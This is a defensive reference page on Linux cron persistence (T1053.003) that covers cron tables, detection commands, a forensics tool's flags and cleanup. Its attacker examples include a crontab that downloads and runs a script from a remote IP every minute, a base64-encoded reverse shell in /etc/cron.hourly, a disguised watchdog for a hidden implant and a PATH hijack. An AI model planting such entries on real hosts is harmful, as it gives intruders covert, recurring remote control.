Skip to content

On a schedule

Cron Jobs: Linux Persistence via crontab

How attackers persist with crontab, /etc/cron.d, run-parts folders and anacron on Linux, and how to find, verify and remove a malicious cron job.

MITRE ATT&CK
T1053.003
Tactics
Persistence, Execution, Privilege escalation
Runs
On a schedule
Set up by
Users and root
Locations
  • /etc/crontab
  • /etc/cron.d/*
  • /etc/cron.hourly/*
  • /etc/cron.daily/*
  • /etc/anacrontab
  • /var/spool/cron/crontabs/<user>
  • /var/spool/cron/<user>

How it works

The cron daemon (cron on Debian and Ubuntu, crond from cronie on RHEL, Fedora and SUSE, BusyBox crond on Alpine) wakes every minute, re-reads any table that changed, and starts the jobs whose schedule matches. It reads two kinds of table:

  • System tables: /etc/crontab and every file in /etc/cron.d/. A line is five time fields, a user name, then the command.
  • User tables: one spool file per account, installed with the crontab command. There is no user field: the file name is the account.

Instead of the five fields a line may use @reboot, @hourly, @daily, @weekly, @monthly or @yearly; @reboot runs once when the daemon starts after boot. An unescaped % ends the command and the rest is fed to it on standard input. Lines such as PATH=…, SHELL=… or MAILTO=… set the environment of the jobs that follow them in the same file.

Jobs run with a minimal environment: /bin/sh, PATH=/usr/bin:/bin, HOME and LOGNAME from /etc/passwd, the home folder as working directory, output mailed to MAILTO or the owner. Cron logs only the start of each job: CRON[pid]: (user) CMD (command) on Debian, CROND[pid] with cronie.

The folders /etc/cron.hourly, cron.daily, cron.weekly and cron.monthly hold scripts that run-parts runs as root. On Debian, /etc/crontab runs the hourly folder and, when anacron is not installed, the others; with anacron installed, it runs them from /etc/anacrontab. On RHEL, /etc/cron.d/0hourly runs the hourly folder and /etc/cron.hourly/0anacron starts anacron, which runs the rest. Anacron lines read period delay job-id command and always run as root.

Two Debian rules trip people up:

  • Debian's cron ignores /etc/cron.d files whose names contain anything but letters, digits, _ and -: /etc/cron.d/backup.sh is never read. Cronie only skips names starting with . or #, ending in ~, or ending in .rpmsave, .rpmorig, .rpmnew.
  • Debian's run-parts applies the same name rule, so /etc/cron.daily/update.sh never runs there; RHEL's run-parts script does run it. Both skip files that are not executable.

Any user may install a crontab unless /etc/cron.allow or /etc/cron.deny says otherwise; default installs allow everyone.

Where it lives

PathWhatWho can write it
/etc/crontabSystem table, with a user fieldroot
/etc/cron.d/*Package and admin tables, same formatroot
/etc/cron.hourly/, cron.daily/, cron.weekly/, cron.monthly/Scripts run by run-parts as rootroot
/etc/anacrontabanacron jobsroot
/var/spool/cron/crontabs/<user>User tables on Debian, Ubuntu, Alpineroot; the user through crontab
/var/spool/cron/<user>User tables on RHEL, Fedoraroot; the user through crontab
/var/spool/cron/tabs/<user>User tables on older SUSEroot; the user through crontab
/etc/cron.allow, /etc/cron.denyWho may use crontabroot
/var/spool/anacron/*Date each anacron job last ranroot

Cron has no vendor tree under /usr/lib: packages install straight into /etc/cron.d and the periodic folders, and dpkg tracks them as conffiles.

How attackers use it

A user crontab that re-fetches the payload

The most common form is one line in the spool of an account the intruder controls, often a web or database service account, firing every minute. Cryptomining campaigns such as Kinsing and TeamTNT are publicly documented doing this, so that killing the miner is not enough.

# /var/spool/cron/crontabs/www-data
* * * * * curl -fsSL http://203.0.113.7/s.sh | sh >/dev/null 2>&1

A system table that blends in

Root can drop a file into /etc/cron.d with a package-like name, run the job as any account, and add a watchdog that restarts the implant.

# /etc/cron.d/apt-compat
@reboot root /usr/local/lib/.cache/kworkerd >/dev/null 2>&1
*/5 * * * * root pgrep -f kworkerd >/dev/null || /usr/local/lib/.cache/kworkerd

A script in a periodic folder

A script in /etc/cron.hourly runs as root with no crontab line to spot. XorDDoS is publicly documented placing a script there and calling it from /etc/crontab every few minutes as well.

#!/bin/sh
# /etc/cron.hourly/logrotate-check
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTguNTEuMTAwLjQvNDQzIDA+JjE=' | base64 -d | bash &

An environment line

An environment line changes every job below it without touching a command: a PATH that starts with a writable folder hijacks run-parts, and an LD_PRELOAD line works like LD_PRELOAD persistence.

PATH=/dev/shm/.x:/usr/sbin:/usr/bin:/sbin:/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly

For one-off or boot-time variants, see at jobs and systemd timers.

How to check a host

On a live host

# System tables and periodic folders (cat -v shows carriage returns as ^M)
sudo cat -v /etc/crontab /etc/cron.d/* /etc/anacrontab
sudo ls -la --time-style=full-iso /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
# User tables: read the spool files, headers included (/var/spool/cron on RHEL)
sudo ls -la --time-style=full-iso /var/spool/cron/crontabs
sudo sh -c 'for f in /var/spool/cron/crontabs/*; do echo "== $f"; cat -v "$f"; done'
# What Debian's run-parts would run, without running it
run-parts --test /etc/cron.daily
# Job starts
journalctl -t CRON --since -7d     # cronie: journalctl -t CROND, or /var/log/cron
# Files no package owns, and packaged files that changed
dpkg -S /etc/cron.d/* /etc/cron.*ly/* 2>&1 | grep 'no path found'
sudo dpkg -V | grep cron           # RHEL: rpm -qf /etc/cron.d/*; rpm -Vf /etc/crontab

A carriage return inside a line can make a terminal overwrite the real command with harmless-looking text; cat -v exposes it.

Offline or from a collection

Read the same files from the image. For each one, check ownership in /var/lib/dpkg/info/*.list and compare its checksum with Conffiles: in /var/lib/dpkg/status (rpm --root /mnt/image -Va on RPM systems). A spool file's mtime is the last time its table was installed.

Debian user tables start with a header such as # (/tmp/.c installed on Mon Sep 14 10:07:30 2026). crontab -e edits a copy under /tmp (/tmp/crontab.XXXXXX/crontab), and crontab - records -; any other path means someone ran crontab <file>, which is how scripts install tables. Correlate with CMD lines in /var/log/syslog* or /var/log/cron* and with /var/spool/anacron dates.

Linux Persistence does this offline: run the collection command and drop the archive.

What Linux Persistence flags

The tool reads /etc/crontab, /etc/cron.d/*, /etc/anacrontab, every script in the periodic folders, and user tables in the Debian, RHEL and SUSE spool layouts. Each job line, anacron job and periodic script is one entry with its schedule, user and command. An environment line becomes an entry only when it trips a heuristic.

Cron-specific flags:

  • Runs at every boot (@reboot): any @reboot line; medium in a user table, low in a system table.
  • Runs every minute: the schedule is * * * * * or */1 * * * *.
  • Crontab installed from file: a Debian user table whose header names a source under /tmp, /var/tmp, /dev/shm, /run/user or a hidden folder. The temporary copy crontab -e installs from (/tmp/crontab.XXXXXX/crontab) is recognised and not flagged.
  • Never run by run-parts: a periodic script whose name has characters other than letters, digits, _ and - (info: Debian ignores it, RHEL runs it).

The shared command heuristics run on each command and on the body of periodic scripts (comments skipped): Downloads and runs code, Reverse or bind shell, Decodes and runs a payload, Interpreter with inline code, Sets LD_PRELOAD, Turns shell history off, Makes a file immutable, Detaches from the session, Runs from a temporary folder, Runs from a hidden folder and Embedded encoded blob.

The package layer uses the dpkg database: Differs from package package when a packaged file such as /etc/crontab no longer matches its checksum, and Not installed by any package (low) for unowned files in /etc/cron.d and the hourly, daily, weekly and monthly folders. Heuristic hits in unmodified packaged files are shown as info. User spools never get a package verdict. Changed date marks files modified in the 7 days before the newest file in the collection, and program also runs from mechanisms marks a program that other mechanisms also start.

Limits: the tool reads files, not the daemon's state. It does not see file modes, so it cannot tell whether a periodic script is executable, it does not apply Debian's naming rule to /etc/cron.d, and without a dpkg database (RHEL collections) there is no package verdict.

Cleaning up

  1. Preserve first: sudo cp -a the table or script into your evidence folder (mtime kept), record stat output (ctime cannot be copied) and sha256sum. Keep cron logs too.
  2. Check lsattr on the file; an i attribute must be cleared with chattr -i before editing.
  3. Remove the line or file, or the whole table with sudo crontab -r -u <user>. Cron picks up the change within a minute; no restart is needed. Kill any process the job already started.
  4. Search for the same payload path, URL or IP across /etc, /var/spool, home folders and systemd units: intruders rarely plant one copy.
  5. Rotate the credentials of the account that owned the job. A root job means the host was root-compromised.

References

See also

On Linux Forensics

The artifacts behind this technique, in the Linux Forensics reference: